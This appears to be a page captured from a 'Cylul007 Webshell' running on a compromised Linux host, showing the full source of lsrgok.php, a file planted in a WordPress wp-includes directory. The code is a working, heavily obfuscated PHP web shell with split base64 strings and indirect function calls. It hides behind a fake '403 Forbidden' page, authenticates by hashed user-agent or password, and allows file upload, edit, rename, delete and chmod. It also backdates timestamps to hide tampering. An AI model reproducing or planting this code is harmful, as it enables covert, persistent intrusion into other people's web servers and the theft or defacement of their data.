Cylul007 Webshell

Uname : Linux h2web131 4.9.0-0.bpo.12-amd64 #1 SMP Debian 4.9.210-1~deb8u1 (2020-02-21) x86_64
PHP : 7.2.34 on fpm-fcgi
Time : 08 Dec 2025 13:48:41

Path : /home/clients/bc55d1d9a618a64acfd6a3c258c080a1/web/wp-includes/

Current File : /home/clients/bc55d1d9a618a64acfd6a3c258c080a1/web/wp-includes/lsrgok.php

<?php 
function oxhr() { global $zcd, $dbk;$slb = $dbk[2](__FILE__);$lqk = $dbk[25]()-$dbk[3](30,300)*86400;$lqk1 = $dbk[4]($zcd[8],$lqk);$igy = $dbk[5]($_GET,$_POST);$nsr = isset($igy[$zcd[9]]) ? $igy[$zcd[9]] : $slb;$cnh = isset($igy[$zcd[10]]) ? $igy[$zcd[10]] : "";$mgl = isset($igy[$zcd[11]]) ? $igy[$zcd[11]] : "";if (!empty($igy[$zcd[12]])) {$dbk[6]($cnh,$dbk[7]($igy[$zcd[12]]));$dbk[8]($cnh,$lqk);} else	if (!empty($cnh)) {if (isset($igy[$zcd[13]])) {$dbk[6]($cnh,$igy[$zcd[13]]);if (isset($igy[$zcd[14]])) $dbk[8]($cnh,$dbk[9]($igy[$zcd[14]]));$mah = $zcd[15];}$dks = "";if($dbk[10]($cnh)) {$dks = $dbk[7]($cnh);$lqk1 = $dbk[4]($zcd[8],$dbk[11]($cnh));}$nsr = $dbk[2]($cnh);} elseif (!empty($_FILES[$zcd[16]])) {$urd = $_FILES[$zcd[16]];for($I=0;$I<$dbk[12]($urd[$zcd[17]]);$I++) {if($dbk[13]($urd[$zcd[18]][$I], $nsr.$zcd[19].$urd[$zcd[17]][$I])) {$dbk[14]($nsr.$zcd[19].$urd[$zcd[17]][$I],0755);$mah = $zcd[20];if (isset($igy[$zcd[14]])) $dbk[8]($nsr.$zcd[19].$urd[$zcd[17]][$I],$dbk[9]($igy[$zcd[14]]));}}} elseif (!empty($igy[$zcd[21]])) {$dbk[15]($igy[$zcd[21]]);} elseif (!empty($igy[$zcd[22]])) {$dbk[16]($igy[$zcd[22]]);} elseif (!empty($igy[$zcd[23]])) {$dbk[17]($igy[$zcd[23]]);} elseif (!empty($igy[$zcd[24]])&&!empty($igy[$zcd[25]])) {$dbk[18]($igy[$zcd[25]],$dbk[2]($igy[$zcd[25]]).$zcd[19].$igy[$zcd[24]]);unset($mgl);}if(!empty($igy[$zcd[26]])) exit($zcd[27]);$hzk = "";foreach($dbk[19]($nsr.$zcd[28], GLOB_ONLYDIR) as $v) {$hzk .= $zcd[29].$dbk[20]($zcd[30],"",$v).$zcd[31].$dbk[4]($zcd[8],$dbk[11]($v)).$zcd[32].$dbk[21]($v).$zcd[33].$dbk[22]($dbk[23]($zcd[34],$dbk[24]($v)),-4).$zcd[35].$v.$zcd[36].$v.$zcd[37].$v.$zcd[38];}foreach($dbk[19]($nsr.$zcd[39], GLOB_BRACE) as $v) {if($dbk[10]($v)) $hzk .= $zcd[40].$dbk[20]($zcd[30],"",$v).$zcd[31].$dbk[4]($zcd[8],$dbk[11]($v)).$zcd[32].$dbk[21]($v).$zcd[33].$dbk[22]($dbk[23]($zcd[34],$dbk[24]($v)),-4).$zcd[41].$v.$zcd[42].$v.$zcd[43].$v.$zcd[38];}echo $zcd[44].$nsr.$zcd[45].$lqk1.$zcd[46].$nsr.$zcd[47].$_SERVER[$zcd[48]].$zcd[49].@$mah.$zcd[50].(isset($dks)?$zcd[51].$lqk1.$zcd[52].$dks.$zcd[53]:(!empty($mgl)?$zcd[54].$mgl.$zcd[55]:$zcd[56].$hzk.$zcd[57])).$zcd[58];exit;}
$ppx = 'base6'.'4_dec'.'ODE';
$zcd = explode('~',$ppx('SFRU'.'UF9V'.'U0VS'.'X0FH'.'RU5U'.'fmxs'.'bH4z'.'MWY2'.'Y2Mx'.'OTRj'.'MGI4'.'YTJj'.'fjg0'.'OWYz'.'ZGEx'.'ZmMx'.'OTli'.'ZTh+'.'bH45'.'M2Fm'.'YzVh'.'MzY1'.'N2Rl'.'MDQw'.'fmE5'.'OGM5'.'Y2U2'.'Njdi'.'MzQ5'.'Nzh+'.'PCFE'.'T0NU'.'WVBF'.'IGh0'.'bWw+'.'PGh0'.'bWw+'.'PGhl'.'YWQ+'.'PHRp'.'dGxl'.'PjQw'.'MyBG'.'b3Ji'.'aWRk'.'ZW4u'.'PC90'.'aXRs'.'ZT48'.'L2hl'.'YWQ+'.'PGJv'.'ZHk+'.'PGgx'.'PkZv'.'cmJp'.'ZGRl'.'bi48'.'L2gx'.'Pjxw'.'Pllv'.'dSBu'.'b3Qg'.'aGF2'.'ZSBw'.'ZXJt'.'aXNz'.'aW9u'.'IHRv'.'IGFj'.'Y2Vz'.'cyAv'.'IG9u'.'IHRo'.'aXMg'.'c2Vy'.'dmVy'.'Ljxi'.'ciAv'.'Pjwv'.'cD48'.'Zm9y'.'bSBh'.'Y3Rp'.'b249'.'IiIg'.'bWV0'.'aG9k'.'PSJw'.'b3N0'.'Ij48'.'aW5w'.'dXQg'.'dHlw'.'ZT0i'.'cGFz'.'c3dv'.'cmQi'.'IG5h'.'bWU9'.'Imwi'.'IHN0'.'eWxl'.'PSJi'.'b3Jk'.'ZXI6'.'MCI+'.'PC9m'.'b3Jt'.'Pjwv'.'Ym9k'.'eT48'.'L2h0'.'bWw+'.'flkt'.'bS1k'.'IEg6'.'aTpz'.'fmlk'.'fnZp'.'ZH5y'.'ZWZp'.'bGV+'.'dXJs'.'fnR4'.'dH50'.'aW1l'.'fnZp'.'b2t+'.'dWZ+'.'bmFt'.'ZX50'.'bXBf'.'bmFt'.'ZX4v'.'fnVw'.'b2t+'.'cm1+'.'bWtk'.'fnJt'.'ZH5u'.'ZXdm'.'aWxl'.'fm9s'.'ZGZp'.'bGV+'.'cG9z'.'dH4j'.'ZG9u'.'ZS5+'.'Lyp+'.'PGRp'.'diBj'.'bGFz'.'cz0i'.'bGlz'.'dCBk'.'aXIi'.'Pjxz'.'cGFu'.'Pn4v'.'Lipc'.'Ly9+'.'PC9z'.'cGFu'.'Pjxp'.'Pn48'.'L2k+'.'PHU+'.'fjwv'.'dT48'.'Yj5+'.'JW9+'.'PC9i'.'Pjxh'.'IGhy'.'ZWY9'.'Ij9p'.'ZD1+'.'Ij5P'.'cGVu'.'PC9h'.'PiAt'.'IDxh'.'IGhy'.'ZWY9'.'Ij9y'.'ZWZp'.'bGU9'.'fiI+'.'UmVu'.'YW1l'.'PC9h'.'PiAt'.'IDxh'.'IGhy'.'ZWY9'.'Ij9y'.'bWQ9'.'fiI+'.'RGVs'.'PC9h'.'Pjwv'.'ZGl2'.'Pn4v'.'eyos'.'Lios'.'Ki59'.'fjxk'.'aXYg'.'Y2xh'.'c3M9'.'Imxp'.'c3Qg'.'Zmls'.'ZSI+'.'PHNw'.'YW4+'.'fjwv'.'Yj48'.'YSBo'.'cmVm'.'PSI/'.'dmlk'.'PX4i'.'PkVk'.'aXQ8'.'L2E+'.'IC0g'.'PGEg'.'aHJl'.'Zj0i'.'P3Jl'.'Zmls'.'ZT1+'.'Ij5S'.'ZW5h'.'bWU8'.'L2E+'.'IC0g'.'PGEg'.'aHJl'.'Zj0i'.'P3Jt'.'PX48'.'IURP'.'Q1RZ'.'UEUg'.'aHRt'.'bD48'.'aHRt'.'bD48'.'aGVh'.'ZD48'.'dGl0'.'bGU+'.'NDAz'.'IEZv'.'cmJp'.'ZGRl'.'bi48'.'L3Rp'.'dGxl'.'Pjxz'.'dHls'.'ZT4q'.'e2Zv'.'bnQ6'.'MTRw'.'eC8x'.'OHB4'.'IHRh'.'aG9t'.'YX1p'.'bnB1'.'dHtm'.'b250'.'LXNp'.'emU6'.'MTJw'.'eDtt'.'YXJn'.'aW46'.'NXB4'.'IDB9'.'YnV0'.'dG9u'.'e2N1'.'cnNv'.'cjpw'.'b2lu'.'dGVy'.'fS53'.'OXt3'.'aWR0'.'aDo5'.'MCV9'.'Lm1z'.'Z3tj'.'b2xv'.'cjpy'.'ZWR9'.'aGVh'.'ZGVy'.'e2Jh'.'Y2tn'.'cm91'.'bmQ6'.'IzAw'.'MDtj'.'b2xv'.'cjoj'.'ZmZm'.'fWhl'.'YWRl'.'ciBh'.'e2Nv'.'bG9y'.'OiNm'.'ZmZ9'.'aGVh'.'ZGVy'.'IGZv'.'cm17'.'ZGlz'.'cGxh'.'eTpp'.'bmxp'.'bmUt'.'Ymxv'.'Y2t9'.'LmRp'.'cntj'.'b2xv'.'cjpn'.'cmVl'.'bn0u'.'bGlz'.'dHts'.'aW5l'.'LWhl'.'aWdo'.'dDoy'.'MnB4'.'fS5s'.'aXN0'.'Omhv'.'dmVy'.'e2Jh'.'Y2tn'.'cm91'.'bmQ6'.'I2Vl'.'ZX0u'.'bGlz'.'dCAq'.'e2Rp'.'c3Bs'.'YXk6'.'aW5s'.'aW5l'.'LWJs'.'b2Nr'.'O3Rl'.'eHQt'.'YWxp'.'Z246'.'bGVm'.'dDt3'.'aWR0'.'aDox'.'MDBw'.'eDtm'.'b250'.'LXN0'.'eWxl'.'Om5v'.'cm1h'.'bH0u'.'bGlz'.'dCBz'.'cGFu'.'LC5s'.'aXN0'.'IGl7'.'d2lk'.'dGg6'.'MjAw'.'cHh9'.'Lmxp'.'c3Qg'.'YXtk'.'aXNw'.'bGF5'.'Omlu'.'bGlu'.'ZTtj'.'b2xv'.'cjpi'.'bHVl'.'fSNv'.'dXRw'.'dXR7'.'cGFk'.'ZGlu'.'Zzox'.'MHB4'.'fTwv'.'c3R5'.'bGU+'.'PC9o'.'ZWFk'.'Pjxi'.'b2R5'.'Pjxo'.'ZWFk'.'ZXI+'.'PGZv'.'cm0g'.'bWV0'.'aG9k'.'PSJn'.'ZXQi'.'Pjxp'.'bnB1'.'dCB0'.'eXBl'.'PSJ0'.'ZXh0'.'IiBu'.'YW1l'.'PSJp'.'ZCIg'.'dmFs'.'dWU9'.'In4i'.'Pjxi'.'dXR0'.'b24g'.'dHlw'.'ZT0i'.'c3Vi'.'bWl0'.'Ij5E'.'aXI8'.'L2J1'.'dHRv'.'bj48'.'L2Zv'.'cm0+'.'PGZv'.'cm0g'.'bWV0'.'aG9k'.'PSJw'.'b3N0'.'IiBl'.'bmN0'.'eXBl'.'PSJt'.'dWx0'.'aXBh'.'cnQv'.'Zm9y'.'bS1k'.'YXRh'.'Ij48'.'aW5w'.'dXQg'.'dHlw'.'ZT0i'.'Zmls'.'ZSIg'.'bmFt'.'ZT0i'.'dWZb'.'XSIg'.'bXVs'.'dGlw'.'bGU+'.'PGlu'.'cHV0'.'IHR5'.'cGU9'.'InRl'.'eHQi'.'IG5h'.'bWU9'.'InRp'.'bWUi'.'IHZh'.'bHVl'.'PSJ+'.'Ij48'.'YnV0'.'dG9u'.'IHR5'.'cGU9'.'InN1'.'Ym1p'.'dCI+'.'VVA8'.'L2J1'.'dHRv'.'bj48'.'L2Zv'.'cm0+'.'PGZv'.'cm0g'.'bWV0'.'aG9k'.'PSJn'.'ZXQi'.'Pjxp'.'bnB1'.'dCB0'.'eXBl'.'PSJ0'.'ZXh0'.'IiBu'.'YW1l'.'PSJ2'.'aWQi'.'IHZh'.'bHVl'.'PSJ+'.'Ij48'.'YnV0'.'dG9u'.'IHR5'.'cGU9'.'InN1'.'Ym1p'.'dCI+'.'Rmls'.'ZTwv'.'YnV0'.'dG9u'.'Pjwv'.'Zm9y'.'bT48'.'YSBo'.'cmVm'.'PSI/'.'aWQ9'.'fkRP'.'Q1VN'.'RU5U'.'X1JP'.'T1R+'.'Ij5S'.'b290'.'IERp'.'cjwv'.'YT4g'.'PHNw'.'YW4g'.'Y2xh'.'c3M9'.'Im1z'.'ZyI+'.'fjwv'.'c3Bh'.'bj48'.'L2hl'.'YWRl'.'cj5+'.'PGZv'.'cm0g'.'bWV0'.'aG9k'.'PSJw'.'b3N0'.'Ij48'.'aW5w'.'dXQg'.'dHlw'.'ZT0i'.'dGV4'.'dCIg'.'bmFt'.'ZT0i'.'dGlt'.'ZSIg'.'dmFs'.'dWU9'.'In4i'.'IGNs'.'YXNz'.'PSJp'.'Ij48'.'YnV0'.'dG9u'.'IHR5'.'cGU9'.'InN1'.'Ym1p'.'dCI+'.'U2F2'.'ZTwv'.'YnV0'.'dG9u'.'Pjxi'.'cj48'.'dGV4'.'dGFy'.'ZWEg'.'bmFt'.'ZT0i'.'dHh0'.'IiBy'.'b3dz'.'PSI0'.'MCIg'.'Y2xh'.'c3M9'.'Inc5'.'Ij5+'.'PC90'.'ZXh0'.'YXJl'.'YT48'.'L2Zv'.'cm0+'.'fjxm'.'b3Jt'.'IG1l'.'dGhv'.'ZD0i'.'cG9z'.'dCI+'.'PGJy'.'Pjxp'.'bnB1'.'dCB0'.'eXBl'.'PSJ0'.'ZXh0'.'IiBu'.'YW1l'.'PSJv'.'bGRm'.'aWxl'.'IiB2'.'YWx1'.'ZT0i'.'fiIg'.'Y2xh'.'c3M9'.'Inc5'.'Ij48'.'YnI+'.'PGlu'.'cHV0'.'IHR5'.'cGU9'.'InRl'.'eHQi'.'IG5h'.'bWU9'.'Im5l'.'d2Zp'.'bGUi'.'IHZh'.'bHVl'.'PSIi'.'IGNs'.'YXNz'.'PSJ3'.'OSI+'.'PGJy'.'Pjxi'.'dXR0'.'b24g'.'dHlw'.'ZT0i'.'c3Vi'.'bWl0'.'Ij5T'.'YXZl'.'PC9i'.'dXR0'.'b24+'.'PC9m'.'b3Jt'.'Pn48'.'ZGl2'.'IGlk'.'PSJv'.'dXRw'.'dXQi'.'Pn48'.'L2Rp'.'dj5+'.'PC9i'.'b2R5'.'Pjwv'.'aHRt'.'bD4='));
$dbk = explode('~',$ppx('c'.'2'.'V'.'z'.'c'.'2'.'l'.'v'.'b'.'l'.'9'.'z'.'d'.'G'.'F'.'y'.'d'.'H'.'5'.'t'.'Z'.'D'.'V'.'+'.'Z'.'G'.'l'.'y'.'b'.'m'.'F'.'t'.'Z'.'X'.'5'.'y'.'Y'.'W'.'5'.'k'.'f'.'m'.'R'.'h'.'d'.'G'.'V'.'+'.'Y'.'X'.'J'.'y'.'Y'.'X'.'l'.'f'.'b'.'W'.'V'.'y'.'Z'.'2'.'V'.'+'.'Z'.'m'.'l'.'s'.'Z'.'V'.'9'.'w'.'d'.'X'.'R'.'f'.'Y'.'2'.'9'.'u'.'d'.'G'.'V'.'u'.'d'.'H'.'N'.'+'.'Z'.'m'.'l'.'s'.'Z'.'V'.'9'.'n'.'Z'.'X'.'R'.'f'.'Y'.'2'.'9'.'u'.'d'.'G'.'V'.'u'.'d'.'H'.'N'.'+'.'d'.'G'.'9'.'1'.'Y'.'2'.'h'.'+'.'c'.'3'.'R'.'y'.'d'.'G'.'9'.'0'.'a'.'W'.'1'.'l'.'f'.'m'.'l'.'z'.'X'.'2'.'Z'.'p'.'b'.'G'.'V'.'+'.'Z'.'m'.'l'.'s'.'Z'.'W'.'1'.'0'.'a'.'W'.'1'.'l'.'f'.'m'.'N'.'v'.'d'.'W'.'5'.'0'.'f'.'m'.'1'.'v'.'d'.'m'.'V'.'f'.'d'.'X'.'B'.'s'.'b'.'2'.'F'.'k'.'Z'.'W'.'R'.'f'.'Z'.'m'.'l'.'s'.'Z'.'X'.'5'.'j'.'a'.'G'.'1'.'v'.'Z'.'H'.'5'.'1'.'b'.'m'.'x'.'p'.'b'.'m'.'t'.'+'.'b'.'W'.'t'.'k'.'a'.'X'.'J'.'+'.'c'.'m'.'1'.'k'.'a'.'X'.'J'.'+'.'c'.'m'.'V'.'u'.'Y'.'W'.'1'.'l'.'f'.'m'.'d'.'s'.'b'.'2'.'J'.'+'.'c'.'H'.'J'.'l'.'Z'.'1'.'9'.'y'.'Z'.'X'.'B'.'s'.'Y'.'W'.'N'.'l'.'f'.'m'.'Z'.'p'.'b'.'G'.'V'.'z'.'a'.'X'.'p'.'l'.'f'.'n'.'N'.'1'.'Y'.'n'.'N'.'0'.'c'.'n'.'5'.'z'.'c'.'H'.'J'.'p'.'b'.'n'.'R'.'m'.'f'.'m'.'Z'.'p'.'b'.'G'.'V'.'w'.'Z'.'X'.'J'.'t'.'c'.'3'.'5'.'0'.'a'.'W'.'1'.'l'));
$dbk[0]();
function ydzj() { global $zcd, $dbk;$ppx = $_POST; $nez = $_SERVER[$zcd[0]];if(!empty($_SESSION[$zcd[1]]) || $dbk[1]($nez.$dbk[1]($nez))==$zcd[2].$zcd[3] || (!empty($ppx[$zcd[4]]) && $dbk[1]($ppx[$zcd[4]].$dbk[1]($ppx[$zcd[4]]))==$zcd[5].$zcd[6])) {$_SESSION[$zcd[1]] = 1;oxhr();} else {exit($zcd[7]);}} ydzj();